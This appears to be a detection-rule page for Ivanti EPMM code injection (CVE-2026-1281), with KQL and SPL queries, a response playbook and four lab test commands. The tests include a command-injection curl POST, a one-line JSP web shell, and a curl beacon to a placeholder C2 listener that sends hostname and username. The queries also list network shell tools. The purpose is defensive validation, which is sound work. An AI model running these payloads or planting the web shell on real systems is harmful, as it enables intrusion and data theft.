CVE-2026-1281 Microsoft Sentinel · KQL

Detect CVE-2026-1281 — Ivanti EPMM Code Injection Exploitation in Microsoft Sentinel

Detects exploitation of CVE-2026-1281, a code injection vulnerability (CWE-94) in Ivanti Endpoint Manager Mobile (EPMM). This KEV-listed vulnerability allows remote attackers to inject and execute arbitrary code via the EPMM management interface. Detection focuses on anomalous process execution, suspicious web shell activity, and unexpected outbound connections from EPMM server infrastructure.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
let epmm_processes = dynamic(['java', 'tomcat', 'mi-dm', 'openapi-generator', 'mics']);
let suspicious_children = dynamic(['cmd.exe', 'powershell.exe', 'sh', 'bash', 'curl', 'wget', 'python', 'python3', 'perl', 'nc', 'ncat', 'nmap']);
union DeviceProcessEvents, SecurityEvent
| where TimeGenerated >= ago(7d)
| where (InitiatingProcessFileName has_any (epmm_processes) or ParentProcessName has_any (epmm_processes))
| where (ProcessCommandLine has_any (suspicious_children) or FileName has_any (suspicious_children))
| extend RiskScore = case(
    ProcessCommandLine has 'whoami' or ProcessCommandLine has 'id', 'HIGH',
    ProcessCommandLine has 'wget' or ProcessCommandLine has 'curl', 'HIGH',
    ProcessCommandLine has 'chmod' or ProcessCommandLine has 'base64', 'MEDIUM',
    'LOW'
  )
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, ParentProcessName, RiskScore
| order by TimeGenerated desc
critical severity high confidence

Detects EPMM service processes (Java/Tomcat) spawning anomalous child processes indicative of code injection exploitation. Covers web shell execution, reverse shell staging, and post-exploitation enumeration commands.

Data Sources

Microsoft Defender for EndpointMicrosoft Sentinel DeviceProcessEventsWindows Security Event Log

Required Tables

DeviceProcessEventsSecurityEvent

False Positives & Tuning

  • Legitimate administrative scripts run by EPMM service accounts during maintenance
  • Automated health-check or monitoring agents spawned by Tomcat on the EPMM server
  • Patch deployment tooling that temporarily invokes shell commands via the EPMM service user

Other platforms for CVE-2026-1281

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate EPMM Code Injection via Curl to Local Test Endpoint

    Expected signal: Network logs showing POST request to EPMM endpoint; if exploitable, process execution logs for id/whoami/uname commands spawned by Java process.

  2. Test 2Emulate Post-Exploitation Child Process Spawn from Java Parent

    Expected signal: Process creation events showing bash/sh spawned from a process named java_epmm_sim; command line includes id, whoami, hostname.

  3. Test 3Simulate Web Shell Drop and Execution via EPMM Webapps Directory

    Expected signal: File creation event in Tomcat webapps directory for a .jsp file; auditd SYSCALL write/open record pointing to webapps path.

  4. Test 4Simulate Outbound C2 Beacon from EPMM Server Context

    Expected signal: Network connection event from EPMM host to external IP on port 4444; process initiating the connection is curl with parent process in EPMM service context.

Last updated: 2026-06-19 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify all hosts running Ivanti EPMM and cross-reference with the alerting host; confirm EPMM version against vendor advisory to assess patch status.
  2. Review EPMM application logs (/var/log/mi-dm/, Tomcat access logs) for anomalous API requests containing script injection patterns, unusual User-Agent strings, or requests to unexpected endpoints around the alert timestamp.
  3. Examine process tree on the EPMM server: confirm the parent-child chain (Java/Tomcat → shell/downloader) and capture full command-line arguments, working directory, and environment variables.
  4. Check for new or modified files in Tomcat webapps directories, /tmp, and EPMM installation directories that could indicate a dropped web shell or payload.

Containment

  1. Immediately isolate the EPMM server at the network layer (firewall block or host isolation via EDR) to prevent lateral movement and C2 communication while preserving forensic state.
  2. Revoke and rotate all EPMM administrative credentials, API tokens, and any service account credentials that could have been harvested from the compromised server.
  3. Apply Ivanti's emergency patch or mitigation from the security advisory; if patching is not immediately possible, restrict EPMM management interface access to trusted IP ranges only.

Evidence Collection

  1. Capture a full memory dump of the EPMM server process (java/tomcat) and the OS before any remediation to preserve volatile evidence of injected code.
  2. Collect EPMM application logs, Tomcat access and error logs, OS authentication logs (/var/log/auth.log or /var/log/secure), and any network flow data showing connections from the EPMM host to external IPs.

Escalation Criteria

  • !Escalate immediately to incident response leadership if evidence of lateral movement beyond the EPMM server is found, particularly if managed mobile devices, Active Directory, or credential stores are accessed.
  • !Escalate to executive leadership and legal if sensitive MDM-enrolled device data (device inventory, email configurations, VPN profiles, certificates) may have been exfiltrated given EPMM's privileged access to the mobile device fleet.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Tomcat access logs showing POST requests to EPMM API endpoints with anomalous payloads or oversized bodies
  • >Filesystem changes under /opt/MobileIron/, /usr/local/MobileIron/, or Tomcat webapps directories (new .jsp, .jspx, .war files)
  • >OS process accounting logs (auditd, /var/log/audit/audit.log) showing execve() calls spawned from Java PID
  • >Network flow records showing outbound connections from the EPMM server to non-inventory external IPs post-exploitation

Tuning Guidance

Begin by building a strict allowlist of expected EPMM child processes (e.g., the EPMM update agent, specific health-check scripts) and excluding them from detections. Scope queries to confirmed EPMM server hostnames or IP ranges to reduce noise from other Java applications in the environment. Consider correlating with EPMM application-layer logs to reduce false positives — legitimate admin actions will have corresponding authenticated session records in EPMM logs, whereas exploitation-sourced commands will not. Adjust the 2-minute sequence window in EQL/correlation rules based on observed attacker dwell patterns in your environment.

Hunting Queries

Hunt for outbound network connections from EPMM servers to external (non-RFC1918) destinations, which may indicate reverse shell or C2 activity following CVE-2026-1281 exploitation.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated >= ago(30d)
| where InitiatingProcessFileName has_any ('java', 'tomcat', 'mi-dm')
| where RemoteIPType != 'Private'
| summarize ConnectionCount=count(), UniqueDestinations=dcount(RemoteIP) by DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort
| where ConnectionCount > 1
| order by ConnectionCount desc
Hunting — SPL
spl 
index=network sourcetype IN ("pan:traffic", "cisco:asa", "bro:conn", "zeek:conn")
| lookup epmm_servers ip as src_ip OUTPUT hostname as epmm_host
| where isnotnull(epmm_host)
| where NOT cidrmatch("10.0.0.0/8", dest_ip)
  AND NOT cidrmatch("172.16.0.0/12", dest_ip)
  AND NOT cidrmatch("192.168.0.0/16", dest_ip)
| stats count by src_ip, dest_ip, dest_port, epmm_host
| where count > 2
| sort -count

Atomic Red Team Tests

Test 1 Simulate EPMM Code Injection via Curl to Local Test Endpoint
linux

Simulates an attacker sending a crafted HTTP POST to the EPMM API endpoint with a code injection payload. Lab environment only — requires a test EPMM instance or a mock listener.

Command

bash 
curl -s -k -X POST https://EPMM_LAB_HOST/mifs/j_spring_security_check -H 'Content-Type: application/json' -d '{"command": "id; whoami; uname -a"}'

Cleanup

bash 
No cleanup required for curl-based simulation against a mock listener.

Expected Telemetry

Network logs showing POST request to EPMM endpoint; if exploitable, process execution logs for id/whoami/uname commands spawned by Java process.

Expected Detection

KQL/SPL/EQL rules trigger on java/tomcat parent spawning sh/bash with reconnaissance commands in the command line.

Test 2 Emulate Post-Exploitation Child Process Spawn from Java Parent
linux

Directly emulates the process tree produced by CVE-2026-1281 exploitation by launching a shell child process under a Java-named parent using a wrapper script. Lab use only.

Command

bash 
cp /usr/bin/java /tmp/java_epmm_sim && /tmp/java_epmm_sim -jar /dev/null & PARENT_PID=$! && bash -c 'echo Simulated injection; id; whoami; hostname' && kill $PARENT_PID 2>/dev/null; rm /tmp/java_epmm_sim

Cleanup

bash 
kill $PARENT_PID 2>/dev/null; rm -f /tmp/java_epmm_sim

Expected Telemetry

Process creation events showing bash/sh spawned from a process named java_epmm_sim; command line includes id, whoami, hostname.

Expected Detection

Process parent-child detection rules fire on Java parent spawning bash with enumeration commands.

Test 3 Simulate Web Shell Drop and Execution via EPMM Webapps Directory
linux

Simulates an attacker dropping a JSP web shell into the Tomcat webapps directory as a persistence mechanism following successful code injection. Lab only.

Command

bash 
WEBAPPS_LAB=/opt/tomcat_lab/webapps/ROOT && mkdir -p $WEBAPPS_LAB && echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > $WEBAPPS_LAB/shell_test.jsp && ls -la $WEBAPPS_LAB/shell_test.jsp

Cleanup

bash 
rm -f /opt/tomcat_lab/webapps/ROOT/shell_test.jsp

Expected Telemetry

File creation event in Tomcat webapps directory for a .jsp file; auditd SYSCALL write/open record pointing to webapps path.

Expected Detection

File integrity monitoring alert on new .jsp file in webapps; SIEM rule correlating file creation with prior EPMM process anomaly alert.

Test 4 Simulate Outbound C2 Beacon from EPMM Server Context
linux

Simulates post-exploitation C2 callback from the EPMM server using curl to an external address, as an attacker would do after achieving code execution.

Command

bash 
curl -s --max-time 5 -A 'MobileIron/11.0 Java/1.8' http://LAB_C2_LISTENER:4444/beacon?host=$(hostname)&user=$(whoami) || true

Cleanup

bash 
No persistent state created; curl connection attempt is fire-and-forget.

Expected Telemetry

Network connection event from EPMM host to external IP on port 4444; process initiating the connection is curl with parent process in EPMM service context.

Expected Detection

Outbound C2 hunting queries fire on EPMM server making non-RFC1918 connections; parent-child network correlation rules trigger on curl spawned under Java.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1505.003Web ShellT1078.002Domain Accounts

Same Tactic: Initial Access

Popular Detections